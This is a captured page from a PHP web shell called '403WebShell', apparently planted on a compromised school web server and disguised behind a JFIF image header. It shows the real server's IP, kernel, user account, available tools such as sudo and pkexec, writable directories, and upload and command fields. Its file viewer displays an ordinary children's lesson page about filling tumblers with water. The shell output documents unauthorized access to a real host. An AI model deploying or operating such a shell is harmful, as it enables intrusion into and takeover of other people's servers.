????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.141.33.133
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/apps/school/www_old10/Html/LevelA/Category2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/apps/school/www_old10/Html/LevelA/Category2/LevelACat2Lesson08.html
<!DOCTYPE html>
<html>
    <head>
        <title>Colour the number of tumblers/glasses </title>
        
        <script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>
        
        <script>
            function page_preLoad()
            {
                s_setDeviceTypeLevelCategoryLastLesson(Level.A, Category.No2);
                s_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
                
                s_setHeaderTable('id_tblHeader', s_title_page, s_getSubTitle(Level.A, Category.No2, 8), true, true);
                s_setFooterTable('id_tblFooter', true, true, true, true, true);
                
                var ids_headings = ['id_td_heading1', 'id_td_heading2', 'id_td_heading3', 'id_td_heading4'];
                s_adjust_fontSize_for_ids_all_devices(ids_headings, 70);
                s_adjust_fontSize_for_ids_all_devices(['id_span_subtext1'], 60);
                
                var id_tables_array = ['id_table1', 'id_table2', 'id_table3', 'id_table4'];
                s_border_collapse_for_tables_except_android(id_tables_array);
                
                s_setTablesHeightsForIE();
            }
        
            function page_onLoad()
            {
                
            }
        
            function btnPrevious_click()
            {
                window.location = "LevelACat2Lesson07.html";
            }
        
            function btnNext_click()
            {
                window.location = "LevelACat2Lesson09.html";
            }
        
            function btnHome_click()
            {
                s_btnHomeCategories_click('LevelA');
            }
        
            function td_click(event)
            {
                var id_td = event.currentTarget.id;
                var eTd = document.getElementById(id_td);
                
                var imagePath = '../../../img/LevelA/Category2/LevelACat2Lesson08/';
                
                if (eTd.getAttribute('glasstype') == 'empty')
                {
                    eTd.firstElementChild.src = imagePath + 'filledglass.png';
                    eTd.setAttribute('glasstype', 'filled');
                }
                else if (eTd.getAttribute('glasstype') == 'filled')
                {
                    eTd.firstElementChild.src = imagePath + 'emptyglass.png';
                    eTd.setAttribute('glasstype', 'empty');
                }
            }
        
            function btnValidate_click()
            {
                var set1FilledGlassesCount = 0;
                var set2FilledGlassesCount = 0;
                var set3FilledGlassesCount = 0;
                
                for (var id = 1; id <= 8; id++)
                {
                    var id_td = 'id_td' + id;
                    var eTd = document.getElementById(id_td);
                    
                    set1FilledGlassesCount += getUserFilledGlassesCount(eTd);
                }
                
                var displayString = getDisplayString(6, set1FilledGlassesCount, 1);
                
                for (var id = 9; id <= 16; id++)
                {
                    var id_td = 'id_td' + id;
                    var eTd = document.getElementById(id_td);
                    
                    set2FilledGlassesCount += getUserFilledGlassesCount(eTd);
                }
                
                displayString += getDisplayString(5, set2FilledGlassesCount, 2);
                
                for (var id = 17; id <= 24; id++)
                {
                    var id_td = 'id_td' + id;
                    var eTd = document.getElementById(id_td);
                    
                    set3FilledGlassesCount += getUserFilledGlassesCount(eTd);
                }
                
                displayString += getDisplayString(7, set3FilledGlassesCount, 3);
                
                if (displayString == '')
                {
                    if ((set1FilledGlassesCount == 6) && (set2FilledGlassesCount == 5) && (set3FilledGlassesCount == 7))
                    {
                        s_show_claps_animation('s_id_div_message');
                    }
                }
                else
                {
                    alert(displayString);
                }
            }
        
            function getDisplayString(requiredGlasses, filledGlasses, setNo)
            {
                var pString = '';
                
                if (filledGlasses < requiredGlasses)
                {
                    var remainGlasses = (requiredGlasses - filledGlasses);
                    var suffix = (remainGlasses == 1) ? '' : 's';
                    
                    pString = 'Fill ' + remainGlasses + ' more tumbler' + suffix + ' in Set' + setNo + '\n';
                }
                else if (filledGlasses == requiredGlasses)
                {
                    pString = '';
                }
                else if (filledGlasses > requiredGlasses)
                {
                    var toEmptyGlasses = (filledGlasses - requiredGlasses);
                    var suffix = (toEmptyGlasses == 1) ? '' : 's';
                    
                    pString = 'Empty ' + toEmptyGlasses + ' more tumbler' + suffix + ' in Set' + setNo + '\n';
                }
                
                return (pString);
            }
        
            function getUserFilledGlassesCount(eTd)
            {
                if (eTd.getAttribute('glasstype') == 'empty')
                {
                    return (0);
                }
                else if (eTd.getAttribute('glasstype') == 'filled')
                {
                    return (1);
                }
                
                return (0);
            }
        </script>
    </head>
    
    <body onLoad="page_onLoad()">
        <div id="s_id_div_message"></div>
        
        <table id="id_tblMainiPadBody" border="1" cellspacing="0" cellpadding="0">
            <tr height="8%">
                <td>
                    <div id="id_tblHeader"></div>
                </td>
            </tr>
            <tr height="*" hieghtForIE="84%" data-role="page"> <!-- for swiping left and right especially for Android device -->
                <td>
                    <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                        <tr>
                            <td>
                                <table width="100%" height="100%" border="0px" cellspacing="0" cellpadding="2%">
                                    <tr height="*" hieghtForIE="50%">
                                        <td align="center" style="padding-bottom: 0px">
                                            <table id="id_table1" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td id="id_td_heading1" class="s_style_heading">Colour the number of tumblers/glasses with blue color:<br>
                                                        <span id="id_span_subtext1" style="color: blue">(<span class="s_style_textRed_color_only">1-click</span>: filled tumbler, &nbsp;&nbsp;<span class="s_style_textRed_color_only">2-clicks</span>: empty tumbler)
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                    <tr height="31%" hieghtForIE="50%">
                                        <td align="center" style="padding-bottom: 0px">
                                            <table id="id_table2" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
                                                <tr height="20%">
                                                    <td id="id_td_heading2" class="s_style_heading">
                                                        Fill the water from the <span class="s_style_textRed_color_only">tap</span> in <span class="s_style_textRed_color_only">6</span> tumblers:
                                                    </td>
                                                </tr>
                                                <tr height="*">
                                                    <td>
                                                        <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                            <tr height="50%">
                                                                <td width="12.5%">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/tap.png" width="80%" draggable="false">
                                                                </td>
                                                                <td width="12.5%"></td>
                                                                <td width="12.5%"></td>
                                                                <td width="12.5%"></td>
                                                                <td width="12.5%"></td>
                                                                <td width="12.5%"></td>
                                                                <td width="12.5%"></td>
                                                                <td width="12.5%"></td>
                                                            </tr>
                                                            <tr height="*" valign="top">
                                                                <td id="id_td1" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td2" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td3" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td4" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td5" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td6" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td7" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td8" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                            </tr>
                                                        </table>
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                    <tr height="31%" hieghtForIE="50%">
                                        <td align="center" style="padding-bottom: 0px">
                                            <table id="id_table3" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
                                                <tr height="20%">
                                                    <td id="id_td_heading3" class="s_style_heading">
                                                        Fill the water from the <span class="s_style_textRed_color_only">tap</span> in <span class="s_style_textRed_color_only">5</span> tumblers:
                                                    </td>
                                                </tr>
                                                <tr height="*">
                                                    <td>
                                                        <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                            <tr height="50%">
                                                                <td width="12.5%">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/tap.png" width="80%" draggable="false">
                                                                </td>
                                                                <td width="12.5%"></td>
                                                                <td width="12.5%"></td>
                                                                <td width="12.5%"></td>
                                                                <td width="12.5%"></td>
                                                                <td width="12.5%"></td>
                                                                <td width="12.5%"></td>
                                                                <td width="12.5%"></td>
                                                            </tr>
                                                            <tr height="*" valign="top">
                                                                <td id="id_td9" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td10" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td11" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td12" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td13" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td14" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td15" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td16" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                            </tr>
                                                        </table>
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                    <tr height="31%" hieghtForIE="50%">
                                        <td align="center">
                                            <table id="id_table4" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
                                                <tr height="20%">
                                                    <td id="id_td_heading4" class="s_style_heading">
                                                        Fill the water from the <span class="s_style_textRed_color_only">tap</span> in <span class="s_style_textRed_color_only">7</span> tumblers:
                                                    </td>
                                                </tr>
                                                <tr height="*">
                                                    <td>
                                                        <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                            <tr height="50%">
                                                                <td width="12.5%">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/tap.png" width="80%" draggable="false">
                                                                </td>
                                                                <td width="12.5%"></td>
                                                                <td width="12.5%"></td>
                                                                <td width="12.5%"></td>
                                                                <td width="12.5%"></td>
                                                                <td width="12.5%"></td>
                                                                <td width="12.5%"></td>
                                                                <td width="12.5%"></td>
                                                            </tr>
                                                            <tr height="*" valign="top">
                                                                <td id="id_td17" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td18" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td19" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td20" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td21" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td22" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td23" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                                <td id="id_td24" align="right" glasstype="empty" onClick="td_click(event)">
                                                                    <img src="../../../img/LevelA/Category2/LevelACat2Lesson08/emptyglass.png" width="60%" draggable="false">
                                                                </td>
                                                            </tr>
                                                        </table>
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                </table>
                            </td>
                        </tr>
                    </table>
                </td>
            </tr>
            <tr height="8%">
                <td>
                    <div id="id_tblFooter"></div>
                </td>
            </tr>
        </table>
        <script>
            page_preLoad();
        </script>
    </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit